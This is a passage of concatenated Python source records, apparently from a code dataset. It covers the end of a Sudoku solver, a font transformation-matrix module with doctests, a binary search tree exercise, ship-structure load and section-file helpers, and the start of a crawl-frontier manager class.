sudotoset(x):\n\td = {}\n\tfor i in range(len(x)):\n\t\tfor j in range(len(x[i])):\n\t\t\tif x[i][j] == \"x\":\n\t\t\t\tfor r in range(1,10):\n\t\t\t\t\td[(i,j,r)] = []\n\t\t\telse:\n\t\t\t\td[(i,j,x[i][j])]=[]\n\tfor i in d.keys():\n\t\td[i].append((\"k\",i[0],i[2]))\n\t\td[i].append((\"r\",i[1],i[2]))\n\t\td[i].append(block(i))\n\t\td[i].append((\"v\",i[0],i[1]))\n\treturn d\n\nSet = sudotoset(sudoku)\nvalues = []\nmatrix= {}\nkeys = sorted(list(Set.keys()))\nfor i in keys:\n\tfor j in Set[i]:\n\t\tif j not in values:\n\t\t\tvalues.append(j)\n\nfor i in range(len(keys)):\n\tkey = keys[i]\n\tmatrix[key]=[]\n\tfor j in values:\n\t\tif j in Set[key]:\n\t\t\tmatrix[key].append(1)\n\t\telse:\n\t\t\tmatrix[key].append(0)\ndel values,keys,Set,sudoku\n\nsets = [[[],matrix,[]]]\t\t\t\ndeleted= []\nsolution = []\nstep5=[]\nsolutioncount = 0\nsolved = False\nwhile solved == False:\n if sets == []:\n solved = True\n for mx in sets:\n matrix = mx[1]\n if matrix == {}:\n solutioncount+=1\n print(\"Solution\",solutioncount)\n print(\"-\"*27)\n s = [[0]*9 for number in range(9)]\n for solrow in sorted(mx[2]):\n s[solrow[0]][solrow[1]]=solrow[2]\n for solrow in s:\n sudostring=\"\"\n for solel in solrow:\n sudostring+=str(solel)+\" \"\n print(sudostring)\n print(\"-\"*27)\n continue\n allcolumncount = []\n for i in range(len(list(matrix.values())[0])):\n columncount = 0\n rows = []\n for j in sorted(matrix.keys()):\n if matrix[j][i] == 1:\n columncount+=1\n rows.append(j)\n allcolumncount.append([columncount,rows])\n columncountmin=[i[0] for i in allcolumncount]\n if min(columncountmin) == 0:\n continue\n rows = allcolumncount[columncountmin.index(min(columncountmin))][1]\n step5.append([rows,matrix,mx[2]])\n sets = []\n\n for s in step5:\n for row in s[0]:\n matrix=dictcopy(s[1])\n delete=[]\n for key in sorted(matrix.keys()):\n for c in range(len(matrix[row])):\n if matrix[row][c] == 1 and matrix[key][c] == 1:\n delete.append(key)\n break\n for key in delete:\n del matrix[key]\n\t\t\n delete = sorted([i for i in range(len(s[1][row])) if s[1][row][i] == 1],reverse=True)\n for key in matrix.keys():\n for d in delete:\n del matrix[key][d]\n sets.append([[],matrix,s[2]+[row]])\n step5=[]\nruntime = str(time.time()- start_time)\nprint(\"Solutions: \"+str(solutioncount))\nprint(\"Runtime: \"+runtime+\" seconds.\")\n","sub_path":"Algx older versions (Sudoku Solver)/algXv.3/algorithmxv3.6.py","file_name":"algorithmxv3.6.py","file_ext":"py","file_size_in_byte":4818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"333596948","text":"#\n# matrix.py\n#\n# Copyright © 2007, 2011-2012, 2016 Monotype Imaging Inc. All Rights Reserved.\n#\n\n\"\"\"\nUtilities for manipulating transformation matrices.\n\"\"\"\n\n# System imports\nimport math\n\n# Other imports\nfrom fontio3.fontdata import seqmeta\nfrom fontio3.fontmath import matrix_row\n\n# -----------------------------------------------------------------------------\n\n#\n# Classes\n#\n\nclass Matrix(list, metaclass=seqmeta.FontDataMetaclass):\n \"\"\"\n Objects representing 3x3 matrices. These are lists of three lists of\n numeric values.\n \n >>> m = Matrix()\n >>> print(m)\n No changes\n \n >>> m = Matrix.forShift(25, -50)\n >>> m.pprint()\n Shift X by 25.0 and Y by -50.0\n \"\"\"\n \n #\n # Class definition variables\n #\n \n seqSpec = dict(\n item_deepconverterfunc = matrix_row.Matrix_row,\n item_followsprotocol = True,\n seq_fixedlength = 3,\n seq_pprintfunc = (lambda p,x,**k: p.simple(str(x), **k)))\n \n #\n # Methods\n #\n \n def __init__(self, *args, **kwArgs):\n \"\"\"\n Initializes the Matrix as specified, unless there are no parameters, in\n which case the identity matrix will be used.\n \n >>> m = Matrix([[1, 0, 0]])\n Traceback (most recent call last):\n ...\n ValueError: Matrix must have 3 rows.\n \"\"\"\n\n if args:\n v = [matrix_row.Matrix_row(x) for x in args[0]]\n \n else:\n v = identityMatrix.__deepcopy__()\n \n if len(v) != 3:\n raise ValueError(\"Matrix must have 3 rows.\")\n\n self[:] = v\n \n def __str__(self):\n \"\"\"\n Returns a string representation of the Matrix object that is relatively\n simple and easy for non-mathematicians to understand.\n \n >>> mScale = Matrix.forScale(1.75, -0.5)\n >>> mShift = Matrix.forShift(80, 300)\n >>> print(Matrix())\n No changes\n \n >>> print(mScale)\n Scale X by 1.75 and Y by -0.5\n \n >>> print(mShift)\n Shift X by 80.0 and Y by 300.0\n \n >>> print(mShift.multiply(mScale))\n Shift X by 80.0 and Y by 300.0, and then scale X by 1.75 and Y by -0.5\n \n >>> obj = mScale.multiply(mShift)\n >>> obj.kwArgs = {'shiftBeforeScale': False}\n >>> print(obj)\n Scale X by 1.75 and Y by -0.5, and then shift X by 80 and Y by 300\n \n >>> print(Matrix.forRotation(90))\n [[0.0, 1.0, 0], [-1.0, 0.0, 0], [0, 0, 1]]\n \"\"\"\n \n if self == identityMatrix:\n return \"No changes\"\n \n if any([self[0][1], self[0][2], self[1][0], self[1][2]]):\n return str([list(self[0]), list(self[1]), list(self[2])])\n \n sbs = getattr(self, 'kwArgs', {}).get('shiftBeforeScale', True)\n shift, scale = self.toShiftAndScale(sbs)\n hasXShift = bool(shift[2][0])\n hasYShift = bool(shift[2][1])\n hasShift = hasXShift or hasYShift\n hasXScale = scale[0][0] != 1.0\n hasYScale = scale[1][1] != 1.0\n hasScale = hasXScale or hasYScale\n sv = []\n \n if hasShift and hasScale:\n if sbs:\n sv.append(\n self._nicePiece(\n \"Shift\",\n hasXShift,\n hasYShift,\n shift[2][0],\n shift[2][1]))\n \n sv.append(\n self._nicePiece(\n \"scale\",\n hasXScale,\n hasYScale,\n scale[0][0],\n scale[1][1]))\n \n else:\n sv.append(\n self._nicePiece(\n \"Scale\",\n hasXScale,\n hasYScale,\n scale[0][0],\n scale[1][1]))\n \n sv.append(\n self._nicePiece(\n \"shift\",\n hasXShift,\n hasYShift,\n shift[2][0],\n shift[2][1]))\n \n elif hasShift:\n sv.append(\n self._nicePiece(\n \"Shift\",\n hasXShift,\n hasYShift,\n shift[2][0],\n shift[2][1]))\n \n else:\n sv.append(\n self._nicePiece(\n \"Scale\",\n hasXScale,\n hasYScale,\n scale[0][0],\n scale[1][1]))\n \n return \", and then \".join(sv)\n \n @staticmethod\n def _nicePiece(kind, doX, doY, x, y):\n if doX and doY:\n s = \"%s X by %s and Y by %s\" % (kind, x, y)\n elif doX:\n s = \"%s X by %s\" % (kind, x)\n else:\n s = \"%s Y by %s\" % (kind, y)\n \n return s\n \n def determinant(self):\n \"\"\"\n Returns the determinant of self. This will always be a floating-point\n number, even if the matrix is made up of integers.\n \n >>> m = Matrix([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\n >>> m.determinant()\n 0.0\n \"\"\"\n \n m1 = self[0][0] * (self[1][1] * self[2][2] - self[1][2] * self[2][1])\n m2 = self[0][1] * (self[1][0] * self[2][2] - self[1][2] * self[2][0])\n m3 = self[0][2] * (self[1][0] * self[2][1] - self[1][1] * self[2][0])\n return float(m1 + m3 - m2)\n \n @classmethod\n def forRotation(cls, angleInDegrees):\n \"\"\"\n Returns a Matrix object representing a transformation involving just a\n rotation by the specified angle in a counter-clockwise direction.\n \n >>> print(Matrix.forRotation(360))\n No changes\n \n >>> print(Matrix.forRotation(90))\n [[0.0, 1.0, 0], [-1.0, 0.0, 0], [0, 0, 1]]\n \n >>> print(Matrix.forRotation(180))\n Scale X by -1.0 and Y by -1.0\n \n >>> print(Matrix.forRotation(270))\n [[0.0, -1.0, 0], [1.0, 0.0, 0], [0, 0, 1]]\n \n >>> m = Matrix.forRotation(45)\n >>> for v in m:\n ... for n in v:\n ... print(round(n, 8))\n 0.70710678\n 0.70710678\n 0\n -0.70710678\n 0.70710678\n 0\n 0\n 0\n 1\n \"\"\"\n \n angleInDegrees %= 360\n \n if angleInDegrees == 0:\n s, c = 0.0, 1.0\n elif angleInDegrees == 90:\n s, c = 1.0, 0.0\n elif angleInDegrees == 180:\n s, c = 0.0, -1.0\n elif angleInDegrees == 270:\n s, c = -1.0, 0.0\n else:\n angleInRadians = angleInDegrees * math.pi / 180\n s, c = math.sin(angleInRadians), math.cos(angleInRadians)\n \n return cls([[c, s, 0], [-s, c, 0], [0, 0, 1]])\n \n @classmethod\n def forScale(cls, xScale, yScale):\n \"\"\"\n Returns a Matrix object representing a transformation involving just\n the two specified scale factors.\n \n >>> print(Matrix.forScale(1, 2))\n Scale Y by 2\n \"\"\"\n \n return cls([[xScale, 0, 0], [0, yScale, 0], [0, 0, 1]])\n \n @classmethod\n def forShift(cls, xMove, yMove):\n \"\"\"\n Returns a Matrix object representing a transformation involving just\n the two specified shift amounts.\n \n >>> print(Matrix.forShift(1, 2))\n Shift X by 1.0 and Y by 2.0\n \"\"\"\n \n return cls([[1, 0, 0], [0, 1, 0], [xMove, yMove, 1]])\n \n def inverse(self):\n \"\"\"\n Returns a new Matrix representing the inverse of self, or None if the\n matrix cannot be inverted.\n \n >>> m = Matrix([[2, 0, 0], [0, 1, 0], [10, 5, 1]])\n >>> print(list(m.inverse()))\n [Matrix_row([0.5, 0.0, 0.0]), Matrix_row([0.0, 1.0, 0.0]), Matrix_row([-5.0, -5.0, 1.0])]\n >>> print(m.inverse())\n Shift X by -10.0 and Y by -5.0, and then scale X by 0.5\n >>> m = Matrix([[0.0000005, 0, 0], [0, 0.0000005, 0], [0, 0, 1.0]])\n >>> m.inverse()\n \"\"\"\n \n det = self.determinant()\n \n if abs(det) < 1.0e-6:\n return None\n \n m = self.minor()\n m[0][1] = -m[0][1]\n m[1][0] = -m[1][0]\n m[1][2] = -m[1][2]\n m[2][1] = -m[2][1]\n t = m.transpose()\n return Matrix([[t[r][c] / det for c in range(3)] for r in range(3)])\n \n inverted = inverse\n \n def is2by2Equivalent(self):\n \"\"\"\n Returns a boolean indicating whether our matrix is equivalent to a 2x2,\n e.g.: [[a, b, 0],\n [d, e, 0],\n [0, 0, 1]]\n \n >>> Matrix([[3, 1, 0], [-2, -2, 0], [0, 0, 1]]).is2by2Equivalent()\n True\n >>> Matrix([[3, 1, 0.5], [-2, -2, 0], [0, 0, 1]]).is2by2Equivalent()\n False\n >>> Matrix([[3, 1, 0], [-2, -2, 0.5], [0, 0, 1]]).is2by2Equivalent()\n False\n \"\"\"\n \n if self[0][2]:\n return False\n \n if self[1][2]:\n return False\n \n return self[2] == [0, 0, 1]\n \n def mapPoint(self, p):\n \"\"\"\n Given a point-like object (a sequence of two values), applies the\n matrix to the point and returns the resulting point as a list of two\n values.\n \n >>> m = Matrix([[2, 0, 0], [0, 1, 0], [10, 5, 1]])\n >>> print(m.mapPoint([-10, 20]))\n [-10, 25]\n \"\"\"\n \n x, y = p[0], p[1]\n xNew = x * self[0][0] + y * self[1][0] + self[2][0]\n yNew = x * self[0][1] + y * self[1][1] + self[2][1]\n return [xNew, yNew]\n \n def minor(self):\n \"\"\"\n Returns a new Matrix representing the minor of self.\n \n >>> m = Matrix([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\n >>> print(m.minor())\n [[-3, -6, -3], [-6, -12, -6], [-3, -6, -3]]\n \"\"\"\n \n m00 = self[1][1] * self[2][2] - self[1][2] * self[2][1]\n m01 = self[1][0] * self[2][2] - self[1][2] * self[2][0]\n m02 = self[1][0] * self[2][1] - self[1][1] * self[2][0]\n m10 = self[0][1] * self[2][2] - self[0][2] * self[2][1]\n m11 = self[0][0] * self[2][2] - self[0][2] * self[2][0]\n m12 = self[0][0] * self[2][1] - self[0][1] * self[2][0]\n m20 = self[0][1] * self[1][2] - self[0][2] * self[1][1]\n m21 = self[0][0] * self[1][2] - self[0][2] * self[1][0]\n m22 = self[0][0] * self[1][1] - self[0][1] * self[1][0]\n return Matrix([[m00, m01, m02], [m10, m11, m12], [m20, m21, m22]])\n \n def multiplied(self, other):\n \"\"\"\n Returns a new Matrix representing self times other (in that order).\n \n >>> m1 = Matrix([[0.5, 0, 0], [0, 1, 0], [-5, -5, 1]])\n >>> m2 = Matrix([[3, 0, 0], [0, 3, 0], [0, 30, 1]])\n >>> print(list(m1.multiplied(m2)))\n [Matrix_row([1.5, 0.0, 0.0]), Matrix_row([0, 3, 0]), Matrix_row([-15, 15, 1])]\n >>> print(m1.multiplied(m2))\n Shift X by -10.0 and Y by 5.0, and then scale X by 1.5 and Y by 3\n \"\"\"\n \n m = []\n \n for row in range(3):\n for col in range(3):\n sum = 0\n \n for n in range(3):\n sum += self[row][n] * other[n][col]\n \n m.append(sum)\n \n return Matrix([m[0:3], m[3:6], m[6:9]])\n \n multiply = multiplied\n \n def toShiftAndScale(self, shiftBeforeScale=True):\n \"\"\"\n Decomposes self into two separate Matrix objects, one for shift and one\n for scale. If shiftBeforeScale is True, self is decomposed such that\n the shift matrix is multiplied by the scale to yield self; otherwise,\n self is decomposed such that the scale matrix is multiplied by the\n shift to yield self.\n\n Returns a pair (shift, scale) in that order, irrespective of the state\n of the shiftBeforeScale boolean.\n \n >>> m = Matrix([[3, 0, 0], [0, 2, 0], [30, 40, 1]])\n >>> ss = m.toShiftAndScale(False)\n >>> print(ss[0]) # always the shift\n Shift X by 30.0 and Y by 40.0\n >>> print(ss[1]) # always the scale\n Scale X by 3 and Y by 2\n \n >>> ss = m.toShiftAndScale(True)\n >>> print(ss[0]) # always the shift\n Shift X by 10.0 and Y by 20.0\n >>> print(ss[1]) # always the scale\n Scale X by 3 and Y by 2\n \n >>> mx = Matrix([[3, 0.5, 0.5], [0.5, 3, 0], [0, 0, 1]])\n >>> sx = mx.toShiftAndScale()\n >>> sx[0][0]\n Matrix_row([1, 0, 0])\n \"\"\"\n \n a, b, c, d = self[0][0], self[0][1], self[1][0], self[1][1]\n mScale = Matrix([[a, b, 0], [c, d, 0], [0, 0, 1]])\n \n if shiftBeforeScale:\n if b == 0 and c == 0: # the most common case by far\n dx = self[2][0] / a\n dy = self[2][1] / d\n \n else:\n disc = a * d - b * c\n dx = (d * self[2][0] - c * self[2][1]) / disc\n dy = (self[2][0] - a * dx) / c\n \n mShift = Matrix.forShift(dx, dy)\n \n else:\n mShift = Matrix.forShift(self[2][0], self[2][1])\n \n return mShift, mScale\n \n def transpose(self):\n \"\"\"\n Returns a new Matrix representing the transposition of self.\n \n >>> m = Matrix([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\n >>> print(m.transpose())\n [[1, 4, 7], [2, 5, 8], [3, 6, 9]]\n \"\"\"\n \n return Matrix([[self[c][r] for c in range(3)] for r in range(3)])\n \n transposed = transpose\n\n# -----------------------------------------------------------------------------\n\n#\n# Constants\n#\n\nidentityMatrix = Matrix([\n matrix_row.Matrix_row([1.0, 0.0, 0.0]),\n matrix_row.Matrix_row([0.0, 1.0, 0.0]),\n matrix_row.Matrix_row([0.0, 0.0, 1.0])])\n\n# -----------------------------------------------------------------------------\n\n#\n# Test code\n#\n\nif 0:\n def __________________(): pass\n\ndef _test():\n import doctest\n doctest.testmod()\n\nif __name__ == \"__main__\":\n _test()\n","sub_path":"fontio3/fontio3/fontmath/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":14234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"373856109","text":"class Node:\n def __init__(self, parent = None, left = None, right = None):\n self.parent = parent\n self.left = left\n self.right = right\n\n\ndef insert(T, root, z):\n if root == z:\n T[z] = Node()\n else:\n T[z] = Node()\n x = root\n while x is not None:\n next_parent = x\n if z < x:\n x = T[x].left\n else:\n x = T[x].right\n T[z].parent = next_parent\n\n if z < next_parent:\n T[next_parent].left = z\n else:\n T[next_parent].right = z\n\n\ndef inParse(T, u, inOrder):\n if u is None:\n return\n inParse(T, T[u].left, inOrder)\n inOrder.append(u)\n inParse(T, T[u].right, inOrder)\n\n\ndef preParse(T, u, preOrder):\n if u is None:\n return\n preOrder.append(u)\n preParse(T, T[u].left, preOrder)\n preParse(T, T[u].right, preOrder)\n\n\nn = int(input())\nT = {}\n\nfor i in range(n):\n command = list(input().split())\n if command[0] == 'insert':\n z = int(command[1])\n if i == 0:\n root = z\n insert(T, root, z)\n else:\n preOrder, inOrder = [], []\n inParse(T, root, inOrder)\n preParse(T, root, preOrder)\n print(\"\", *inOrder)\n print(\"\", *preOrder)\n","sub_path":"ALDS1_8_A.py","file_name":"ALDS1_8_A.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"506786937","text":"'''\nHelper funations to be used.\n'''\n\nimport math, copy, csv\n\n\ndef print_helper(properties, prop_text, units):\n '''\n Used to print out the properties\n '''\n dummy_i = 0\n print(' \\n ')\n for prop_i in prop_text:\n print(str(prop_i) + ' ' + str(properties[dummy_i]) + ' ' + str(units[dummy_i]) )\n dummy_i += 1\n\ndef dist(p, q):\n return math.sqrt((p[0] - q[0]) ** 2 + (p[1] - q[1]) ** 2)\n\ndef get_num(x):\n try:\n return int(''.join(ele for ele in x if ele.isdigit() or ele == '.'))\n except ValueError:\n return x\n\ndef list_2_string(list):\n new_string = ''\n for item in list[0:-1]:\n new_string += str(item)\n new_string += ' , '\n new_string += str(list[-1])\n return new_string\n\ndef one_load_combination(line_name_obj, coord, defined_loads, load_condition,\n defined_tanks, comb_name, acc, load_factors_all):\n '''\n Creating load combination.\n Inserted into self.line_to_struc index = 4\n \"dnva\", \"line12\", \"static_ballast_10m\"\n #load combination dictionary (comb,line,load) : [stat - DoubleVar(), dyn - DoubleVar], on/off - IntVar()]\n :return:\n '''\n\n if load_condition not in ['tanktest','manual', 'slamming']:\n return helper_dnva_dnvb(line_name_obj, coord, defined_loads, load_condition,\n defined_tanks, comb_name, acc, load_factors_all)\n elif load_condition == 'tanktest' and comb_name == 'tanktest':\n return helper_tank_test(line_name_obj, coord, defined_loads, load_condition,\n defined_tanks, comb_name, acc, load_factors_all)\n elif load_condition == 'manual':\n return helper_manual(line_name_obj, comb_name,load_factors_all)\n elif load_condition == 'slamming':\n return helper_slamming(defined_loads)\n else:\n return None\n\ndef helper_dnva_dnvb(line_name_obj, coord, defined_loads, load_condition,\n defined_tanks, comb_name, acc, load_factors_all):\n\n # calculate the defined loads\n calc_load = []\n line_name = line_name_obj[0]\n structure_type = line_name_obj[1].get_structure_type()\n #print('---STRUCTURE TYPE---', structure_type)\n static_pressure,dynamic_pressure = 0,0\n #print('-----HELPER START FOR', comb_name, load_condition, line_name,'-----')\n if len(defined_loads) != 0:\n for load in defined_loads :\n if load != None:\n #print('LOAD NAME: ',comb_name, line_name, load.get_name())\n load_factors = load_factors_all[(comb_name, line_name, load.get_name())]\n # USE GET() (static,dyn, on/off)\n if load_condition == load.get_load_condition():\n static_pressure = (load_factors[2].get())*(load_factors[0].get())\\\n *load.get_calculated_pressure(coord, acc[0],structure_type)\n dynamic_pressure = (load_factors[2].get())*(load_factors[1].get())\\\n *load.get_calculated_pressure(coord, acc[1],structure_type)\n # print('load (NON-TANK) calculation for load condition:' , load_condition, ' - Load is: ', load.get_name(), ' - Type is: ')\n # print('static with acc:', acc[0], ' is: ',str(load_factors[2].get()),'*',str(load_factors[0].get()),'*',\n # str(load.get_calculated_pressure(coord, acc[0],structure_type)), ' = ', static_pressure)\n # print('dynamic with acc:', acc[1],' is: ',str(load_factors[2].get()),'*',str(load_factors[1].get()),'*',\n # str(load.get_calculated_pressure(coord, acc[1],structure_type)), ' = ', dynamic_pressure)\n calc_load.append(static_pressure+dynamic_pressure)\n\n # calculate the tank loads\n\n if len(defined_tanks) != 0:\n temp_tank = {}\n\n for tank_name_obj in defined_tanks:\n temp_tank[tank_name_obj[0]] = 0\n\n load_factors = load_factors_all[(comb_name, line_name, tank_name_obj[0])]\n overpress_lf = [1.3,0]# if load_factors[0].get()==1.2 else [1,1.3]\n\n if load_condition == tank_name_obj[1].get_condition():\n # USE GET() (static,dyn, on/off)\n static_pressure = load_factors[2].get()*(load_factors[0].get())\\\n *tank_name_obj[1].get_calculated_pressure(coord,acc[0])\\\n +tank_name_obj[1].get_overpressure()*overpress_lf[0]\n dynamic_pressure = load_factors[2].get()*load_factors[1].get()\\\n *tank_name_obj[1].get_calculated_pressure(coord,acc[1])\\\n +tank_name_obj[1].get_overpressure()*overpress_lf[1]\n\n temp_tank[tank_name_obj[0]] = static_pressure + dynamic_pressure# .append((static_pressure + dynamic_pressure))\n # if line_name_obj[0] == 'line46':\n # print('load (TANK) calculation for load condition:', load_condition, ' - Tank is: ', tank_name_obj[0])\n # print('load factors : ', load_factors[0].get(),load_factors[1].get(),load_factors[2].get())\n # print('static: ', str(load_factors[2].get()), '*', str(load_factors[0].get()) , '*',\n # str(tank_name_obj[1].get_calculated_pressure(coord,acc[0])),' + ',\n # str(tank_name_obj[1].get_overpressure()), '*',str(overpress_lf[0]), ' = ', static_pressure)\n # print('dynamic: ',str(load_factors[2].get()), '*', str(load_factors[1].get()), '*'\n # ,str(tank_name_obj[1].get_calculated_pressure(coord, acc[1])),' + ',\n # str(tank_name_obj[1].get_overpressure()), '*',str(overpress_lf[1]),' = ', dynamic_pressure)\n # choosing the tank with the highest pressures\n\n if len(defined_loads) == 0:\n line_tank_pressure_calc = max([pressure for pressure in temp_tank.values()])\n highest_dnv_tank_pressure = tank_name_obj[1].get_tank_dnv_minimum_pressure(load_factors[0].get(),\n load_factors[1].get())\n line_dnv_tank_pressure = tank_name_obj[1].get_line_pressure_from_max_pressure(highest_dnv_tank_pressure,\n coord)\n\n # print('Tank load to append is max( ',highest_tank_pressure_calc,highest_dnv_tank_pressure,')')\n highest_tank_pressure = max(line_tank_pressure_calc,line_dnv_tank_pressure)\n calc_load.append(-highest_tank_pressure if highest_tank_pressure else 0)\n else:\n pass\n # print('-----HELPER END, RESULT IS: ', calc_load,'-----')\n\n return int(abs(sum(calc_load)))\n\ndef helper_slamming(defined_loads):\n\n # calculate the defined loads\n\n if len(defined_loads) != 0:\n for load in defined_loads:\n if load != None and load.get_load_condition() == 'slamming':\n return load.get_calculated_pressure(0, 0, 'slamming')\n\n\ndef helper_tank_test(line_name_obj, coord, defined_loads, load_condition,\n defined_tanks, comb_name, acc, load_factors_all):\n # calculate the defined loads\n calc_load = []\n static_pressure, dynamic_pressure = 0, 0\n line_name = line_name_obj[0]\n structure_type = line_name_obj[1].get_structure_type()\n\n if len(defined_loads) != 0:\n for load in defined_loads:\n if load != None:\n load_factors = load_factors_all[(comb_name, line_name, load.get_name())]\n # USE GET() (static,dyn, on/off)\n if load_condition == load.get_load_condition():\n static_pressure = (load_factors[2].get()) * (load_factors[0].get()) \\\n * load.get_calculated_pressure(coord, acc[0], structure_type)\n dynamic_pressure = (load_factors[2].get()) * (load_factors[1].get()) \\\n * load.get_calculated_pressure(coord, acc[1], structure_type)\n calc_load.append(static_pressure + dynamic_pressure)\n\n # calculate the tank loads\n temp_tank={}\n if len(defined_tanks) != 0:\n\n for tank_name_obj in defined_tanks:\n temp_tank[tank_name_obj[0]] = []\n\n for tank_name_obj in defined_tanks:\n load_factors = load_factors_all[(comb_name, line_name, tank_name_obj[0])]\n # print('tank test LF: ', load_factors[0],load_factors[1],load_factors[2])\n # USE GET() (static,dyn, on/off)\n overpress_lf = [1.3, 0] if load_factors[0].get() == 1.2 else [1, 0]\n static_pressure = (load_factors[2].get()) * (load_factors[0].get())\\\n * tank_name_obj[1].get_calculated_pressure(coord, acc[0])\\\n +tank_name_obj[1].get_overpressure()*overpress_lf[0]\n dynamic_pressure = (load_factors[2].get()) * (load_factors[1].get())\\\n * tank_name_obj[1].get_calculated_pressure(coord, acc[1])\\\n +tank_name_obj[1].get_overpressure()*overpress_lf[1]\n\n temp_tank[tank_name_obj[0]].append((static_pressure + dynamic_pressure))\n # choosing the tank with the highest pressures\n if len(defined_tanks) != 0:\n highest_tank_pressure = max([temp_tank[tank[0]] for tank in defined_tanks])\n calc_load.append(-highest_tank_pressure[0] if len(highest_tank_pressure) > 0 else 0)\n else:\n pass\n return int(abs(sum(calc_load)))\n\ndef helper_manual(line_name, comb_name,load_factors_all):\n\n load_factors = load_factors_all[(comb_name, line_name[0], 'manual')]\n\n return load_factors[0].get() * load_factors[1].get() * load_factors[2].get()\n\ndef helper_read_section_file(files, obj = None, to_json = False, to_csv = False):\n ''' Read a xml file. '''\n import json\n from xml.dom import minidom\n to_return_final, to_return, return_csv = list(), dict(), list()\n if type(files) != list:\n files = [files,]\n for file in files:\n if file.endswith('xml'):\n xmldoc = minidom.parse(file)\n sectionlist = xmldoc.getElementsByTagName('section')\n sec_types = ('unsymmetrical_i_section', 'l_section', 'bar_section')\n\n for idx, sec_type in enumerate(sec_types):\n sec_type_get = xmldoc.getElementsByTagName(sec_type)\n if sec_types == []:\n continue\n for item, itemdata in zip(sectionlist, sec_type_get):\n if sec_type == sec_types[0]:\n stf_web_h, stf_web_thk = 'h', 'tw'\n stf_flange_width, stf_flange_thk = 'bfbot', 'tfbot'\n stiffener_type = 'T'\n mult = 1/1000\n elif sec_type == sec_types[1]:\n stf_web_h, stf_web_thk = 'h', 'tw'\n stf_flange_width, stf_flange_thk = 'b', 'tf'\n stiffener_type = 'L'\n mult = 1/1000\n elif sec_type == sec_types[2]:\n stf_web_h, stf_web_thk = 'h', 'b'\n stf_flange_width, stf_flange_thk = None, None\n stiffener_type = 'FB'\n mult = 1 / 1000\n section_name = item.getAttribute('name')\n to_return[section_name] = {'stf_web_height': [float(itemdata.getAttribute(stf_web_h)) *mult, 'm'],\n 'stf_web_thk': [float(itemdata.getAttribute(stf_web_thk)) *mult,'m'],\n 'stf_flange_width': [0 if stf_flange_width is None else\n float(itemdata.getAttribute(stf_flange_width)) *mult,'m'],\n 'stf_flange_thk': [0 if stf_flange_thk is None else\n float(itemdata.getAttribute(stf_flange_thk)) *mult, 'm'],\n 'stf_type': [stiffener_type, '']}\n\n return_csv.append([to_return[section_name][var][0] for var in ['stf_web_height', 'stf_web_thk',\n 'stf_flange_width', 'stf_flange_thk',\n 'stf_type']])\n if to_json:\n with open('sections.json', 'w') as file:\n json.dump(to_return, file)\n if to_csv:\n with open('sections.csv', 'w', newline='') as file:\n section_writer = csv.writer(file)\n for line in return_csv:\n section_writer.writerow(line)\n\n elif file.endswith('json'):\n with open(file, 'r') as json_file:\n to_return = json.load(json_file)\n\n elif file.endswith('csv'):\n with open(file, 'r') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n for idx, section in enumerate(csv_reader):\n\n\n to_return[str(idx)] = {'stf_web_height': [float(section[0]), 'm'],\n 'stf_web_thk': [float(section[1]),'m'],\n 'stf_flange_width': [float(section[2]),'m'],\n 'stf_flange_thk': [float(section[3]), 'm'],\n 'stf_type': [section[4], '']}\n\n if to_json:\n with open('sections.json', 'w') as file:\n json.dump(to_return, file)\n\n if to_csv:\n with open('sections.csv', 'w', newline = '') as file:\n section_writer = csv.writer(file)\n for line in return_csv:\n section_writer.writerow(line)\n if obj is not None: # This will return a modified object.\n if type(obj) is not list:\n obj = [obj, ]\n append_list = [[],]\n else:\n append_list = [list() for dummy in obj]\n else:\n append_list = list()\n\n for key, value in to_return.items():\n if obj is not None: # This will return a modified object.\n for idx, iter_obj in enumerate(obj):\n new_obj = copy.deepcopy(iter_obj)\n new_obj_prop = new_obj.get_structure_prop()\n for prop_name, prop_val in value.items():\n new_obj_prop[prop_name] = prop_val\n new_obj.set_main_properties(new_obj_prop)\n append_list[idx].append(new_obj)\n else:\n to_return_final.append(value)\n if len(append_list) == 1:\n to_return_final = append_list[0]\n elif len(append_list) == 0:\n pass\n elif len(append_list) > 1:\n to_return_final = append_list\n\n return to_return_final\n\ndef open_example_file(root_path = None):\n import os\n\n if os.path.isfile('sections.csv'):\n os.startfile('sections.csv')\n else:\n os.startfile(root_path + '/' + 'sections.csv')\n\ndef add_new_section(section_list, new_section):\n ''' Checking if a section is already in the list. '''\n existing_section = False\n\n for section in section_list:\n\n if section.__str__() == new_section.__str__():\n existing_section = True\n\n if existing_section == False:\n section_list.append(new_section)\n\n return section_list\n\n\nif __name__ == '__main__':\n import ANYstructure.example_data as ex\n from pathlib import Path\n file = Path('C:/Users/nmm000756/Documents/GitHub/ANYstructure/ANYstructure/sections.json')\n all_returned = helper_read_section_file(file.name)\n\n import random\n print(random.choice(all_returned))\n","sub_path":"ANYstructure/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":15942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"485720607","text":"from collections import OrderedDict\n\nfrom crawlfrontier.exceptions import NotConfigured\nfrom crawlfrontier.utils.misc import load_object\nfrom crawlfrontier.settings import Settings\nfrom crawlfrontier.core.components import Backend, Middleware\nfrom crawlfrontier.logger import FrontierLogger\nfrom models import Page, Link\n\n\nclass FrontierManager(object):\n\n def __init__(self, page_model, link_model, backend, logger, event_log_manager,\n frontier_middlewares=None, test_mode=False,\n max_pages=0, max_next_pages=0, auto_start=True, settings=None):\n\n # Settings\n self._settings = settings or Settings()\n\n # Logger\n self._logger = load_object(logger)(self._settings)\n assert isinstance(self._logger, FrontierLogger), \"logger '%s' must subclass FrontierLogger\" % \\\n self._logger.__class__.__name__\n\n # Log frontier manager starting\n self.logger.manager.debug('-'*80)\n self.logger.manager.debug('Starting Frontier Manager...')\n\n # Test mode\n self._test_mode = test_mode\n self.logger.manager.debug('Test mode %s' % (\"ENABLED\" if self.test_mode else \"DISABLED\"))\n\n # Load page model\n self._page_model = load_object(page_model)\n assert 